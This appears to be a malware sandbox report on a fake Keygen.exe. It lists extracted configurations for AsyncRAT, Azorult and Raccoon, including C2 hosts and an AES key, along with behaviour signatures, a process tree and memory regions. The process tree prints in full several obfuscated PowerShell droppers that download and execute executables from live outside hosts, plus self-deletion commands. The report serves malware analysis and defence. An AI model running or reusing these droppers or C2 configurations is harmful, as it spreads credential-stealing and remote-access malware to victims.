Analysis

  • max time kernel
    149s
  • max time network
    167s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    18-11-2020 16:58

General

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Family

raccoon

Botnet

5e4db353b88c002ba6466c06437973619aad03b3

Attributes
  • url4cnc

    https://telete.in/brikitiki

rc4.plain
rc4.plain

Extracted

Family

azorult

C2

http://195.245.112.115/index.php

Extracted

Family

asyncrat

Version

0.5.7B

C2

agentttt.ac.ug:6970

agentpurple.ac.ug:6970

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • aes_key

    16dw6EDbQkYZp5BTs7cmLUicVtOA4UQr

  • anti_detection

    false

  • autorun

    false

  • bdos

    false

  • delay

    Default

  • host

    agentttt.ac.ug,agentpurple.ac.ug

  • hwid

    3

  • install_file

  • install_folder

    %AppData%

  • mutex

    AsyncMutex_6SI8OkPnk

  • pastebin_config

    null

  • port

    6970

  • version

    0.5.7B

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Contains code to disable Windows Defender 8 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Async RAT payload 4 IoCs
  • ModiLoader First Stage 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 18 IoCs
  • Loads dropped DLL 34 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops desktop.ini file(s) 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 1 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1240
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\5CD0.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:696
      • C:\Users\Admin\AppData\Local\Temp\5CD0.tmp\Keygen.exe
        Keygen.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:1988
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5CD0.tmp\m.hta"
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1720
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          4⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1936
          • C:\Users\Public\cxz.exe
            "C:\Users\Public\cxz.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            PID:2500
            • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
              "C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              PID:2740
              • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
                "C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
                7⤵
                • Executes dropped EXE
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:2340
            • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
              "C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              PID:2792
              • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
                "C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Checks processor information in registry
                PID:2956
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /pid 2956 & erase C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe & RD /S /Q C:\\ProgramData\\629729376048995\\* & exit
                  8⤵
                    PID:1224
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /pid 2956
                      9⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1104
              • C:\Users\Public\cxz.exe
                "C:\Users\Public\cxz.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops desktop.ini file(s)
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Modifies system certificate store
                PID:2840
                • C:\Users\Admin\AppData\Local\Temp\CQzJ1Qjgq0.exe
                  "C:\Users\Admin\AppData\Local\Temp\CQzJ1Qjgq0.exe"
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2712
                  • C:\Users\Admin\AppData\Local\Temp\CQzJ1Qjgq0.exe
                    "C:\Users\Admin\AppData\Local\Temp\CQzJ1Qjgq0.exe"
                    8⤵
                    • Executes dropped EXE
                    PID:2880
                • C:\Users\Admin\AppData\Local\Temp\TDZMohtwvl.exe
                  "C:\Users\Admin\AppData\Local\Temp\TDZMohtwvl.exe"
                  7⤵
                  • Executes dropped EXE
                  • Modifies system certificate store
                  PID:2760
                  • C:\Windows\SysWOW64\svchost.exe
                    "C:\Windows\System32\svchost.exe"
                    8⤵
                      PID:2076
                  • C:\Users\Admin\AppData\Local\Temp\bJijmW3sbm.exe
                    "C:\Users\Admin\AppData\Local\Temp\bJijmW3sbm.exe"
                    7⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of SetThreadContext
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2044
                    • C:\Users\Admin\AppData\Local\Temp\bJijmW3sbm.exe
                      "C:\Users\Admin\AppData\Local\Temp\bJijmW3sbm.exe"
                      8⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:1160
                      • \??\c:\windows\SysWOW64\cmstp.exe
                        "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\a3otxwop.inf
                        9⤵
                          PID:1932
                    • C:\Users\Admin\AppData\Local\Temp\FI8xv2A94i.exe
                      "C:\Users\Admin\AppData\Local\Temp\FI8xv2A94i.exe"
                      7⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of SetThreadContext
                      • Suspicious use of AdjustPrivilegeToken
                      PID:696
                      • C:\Users\Admin\AppData\Local\Temp\FI8xv2A94i.exe
                        "C:\Users\Admin\AppData\Local\Temp\FI8xv2A94i.exe"
                        8⤵
                        • Executes dropped EXE
                        • Windows security modification
                        PID:2584
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "powershell" Get-MpPreference -verbose
                          9⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:332
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\cxz.exe"
                      7⤵
                        PID:2872
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /T 10 /NOBREAK
                          8⤵
                          • Delays execution with timeout.exe
                          PID:2136
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5CD0.tmp\m1.hta"
                3⤵
                • Modifies Internet Explorer settings
                • Suspicious use of WriteProcessMemory
                PID:1788
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1932
              • C:\Windows\SysWOW64\timeout.exe
                timeout 1
                3⤵
                • Delays execution with timeout.exe
                PID:1812
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5CD0.tmp\b.hta"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1040
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                  4⤵
                  • Blocklisted process makes network request
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1444
                  • C:\Users\Public\ykq.exe
                    "C:\Users\Public\ykq.exe"
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of SetThreadContext
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2540
                    • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
                      "C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:2652
                    • C:\Users\Public\ykq.exe
                      "{path}"
                      6⤵
                      • Executes dropped EXE
                      PID:1080
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5CD0.tmp\b1.hta"
                3⤵
                • Modifies Internet Explorer settings
                • Suspicious use of WriteProcessMemory
                PID:1476
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:932
              • C:\Windows\SysWOW64\timeout.exe
                timeout 2
                3⤵
                • Delays execution with timeout.exe
                PID:1272
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5CD0.tmp\ba.hta"
                3⤵
                • Modifies Internet Explorer settings
                • Suspicious use of WriteProcessMemory
                PID:1972
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                  4⤵
                  • Blocklisted process makes network request
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1928
                  • C:\Users\Public\czx.exe
                    "C:\Users\Public\czx.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:2552
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5CD0.tmp\ba1.hta"
                3⤵
                  PID:916
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3008

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • memory/332-290-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/332-294-0x0000000005520000-0x0000000005521000-memory.dmp

              Filesize

              4KB

            • memory/332-292-0x0000000004A40000-0x0000000004A41000-memory.dmp

              Filesize

              4KB

            • memory/332-291-0x0000000002590000-0x0000000002591000-memory.dmp

              Filesize

              4KB

            • memory/332-293-0x0000000005400000-0x0000000005401000-memory.dmp

              Filesize

              4KB

            • memory/696-264-0x0000000001F20000-0x0000000001F5C000-memory.dmp

              Filesize

              240KB

            • memory/696-249-0x0000000000240000-0x0000000000241000-memory.dmp

              Filesize

              4KB

            • memory/696-247-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/932-119-0x00000000066A0000-0x00000000066A1000-memory.dmp

              Filesize

              4KB

            • memory/932-145-0x0000000006750000-0x0000000006751000-memory.dmp

              Filesize

              4KB

            • memory/932-150-0x0000000006760000-0x0000000006761000-memory.dmp

              Filesize

              4KB

            • memory/932-32-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/932-113-0x0000000006540000-0x0000000006541000-memory.dmp

              Filesize

              4KB

            • memory/932-116-0x0000000006610000-0x0000000006611000-memory.dmp

              Filesize

              4KB

            • memory/1080-351-0x0000000000400000-0x0000000000493000-memory.dmp

              Filesize

              588KB

            • memory/1160-282-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/1160-278-0x0000000000400000-0x000000000040C000-memory.dmp

              Filesize

              48KB

            • memory/1160-280-0x0000000000400000-0x000000000040C000-memory.dmp

              Filesize

              48KB

            • memory/1160-274-0x0000000000400000-0x000000000040C000-memory.dmp

              Filesize

              48KB

            • memory/1444-33-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/1444-50-0x00000000054F0000-0x00000000054F1000-memory.dmp

              Filesize

              4KB

            • memory/1928-40-0x0000000004C70000-0x0000000004C71000-memory.dmp

              Filesize

              4KB

            • memory/1928-34-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/1932-20-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/1932-156-0x0000000006480000-0x0000000006481000-memory.dmp

              Filesize

              4KB

            • memory/1932-35-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

              Filesize

              4KB

            • memory/1936-19-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/1936-75-0x0000000006480000-0x0000000006481000-memory.dmp

              Filesize

              4KB

            • memory/1936-45-0x0000000002750000-0x0000000002751000-memory.dmp

              Filesize

              4KB

            • memory/1936-57-0x0000000005820000-0x0000000005821000-memory.dmp

              Filesize

              4KB

            • memory/1936-62-0x0000000005870000-0x0000000005871000-memory.dmp

              Filesize

              4KB

            • memory/1936-63-0x0000000006390000-0x0000000006391000-memory.dmp

              Filesize

              4KB

            • memory/1936-70-0x0000000006460000-0x0000000006461000-memory.dmp

              Filesize

              4KB

            • memory/2044-265-0x0000000000670000-0x00000000006AD000-memory.dmp

              Filesize

              244KB

            • memory/2044-243-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/2044-248-0x0000000001100000-0x0000000001101000-memory.dmp

              Filesize

              4KB

            • memory/2076-300-0x00000000000E0000-0x00000000000E1000-memory.dmp

              Filesize

              4KB

            • memory/2076-298-0x00000000000A0000-0x00000000000A1000-memory.dmp

              Filesize

              4KB

            • memory/2340-196-0x0000000000400000-0x0000000000424000-memory.dmp

              Filesize

              144KB

            • memory/2340-192-0x0000000000400000-0x0000000000424000-memory.dmp

              Filesize

              144KB

            • memory/2540-204-0x0000000001F40000-0x0000000001F54000-memory.dmp

              Filesize

              80KB

            • memory/2540-330-0x00000000082E0000-0x000000000839A000-memory.dmp

              Filesize

              744KB

            • memory/2540-111-0x00000000008D0000-0x00000000008D1000-memory.dmp

              Filesize

              4KB

            • memory/2540-107-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/2564-142-0x000007FEF61D0000-0x000007FEF644A000-memory.dmp

              Filesize

              2.5MB

            • memory/2584-269-0x0000000000400000-0x0000000000408000-memory.dmp

              Filesize

              32KB

            • memory/2584-276-0x0000000000400000-0x0000000000408000-memory.dmp

              Filesize

              32KB

            • memory/2584-279-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/2584-272-0x0000000000400000-0x0000000000408000-memory.dmp

              Filesize

              32KB

            • memory/2652-350-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/2712-227-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/2712-228-0x00000000008D0000-0x00000000008D1000-memory.dmp

              Filesize

              4KB

            • memory/2712-253-0x0000000000810000-0x0000000000849000-memory.dmp

              Filesize

              228KB

            • memory/2712-254-0x0000000000500000-0x0000000000516000-memory.dmp

              Filesize

              88KB

            • memory/2760-296-0x0000000004A90000-0x0000000004AE1000-memory.dmp

              Filesize

              324KB

            • memory/2760-295-0x0000000003940000-0x000000000399C000-memory.dmp

              Filesize

              368KB

            • memory/2840-146-0x0000000000400000-0x0000000000497000-memory.dmp

              Filesize

              604KB

            • memory/2840-152-0x0000000000400000-0x0000000000497000-memory.dmp

              Filesize

              604KB

            • memory/2880-256-0x0000000000400000-0x0000000000412000-memory.dmp

              Filesize

              72KB

            • memory/2880-259-0x0000000000400000-0x0000000000412000-memory.dmp

              Filesize

              72KB

            • memory/2880-261-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB

            • memory/2880-260-0x0000000000400000-0x0000000000412000-memory.dmp

              Filesize

              72KB

            • memory/2956-169-0x0000000000400000-0x0000000000438000-memory.dmp

              Filesize

              224KB

            • memory/2956-160-0x0000000000400000-0x0000000000438000-memory.dmp

              Filesize

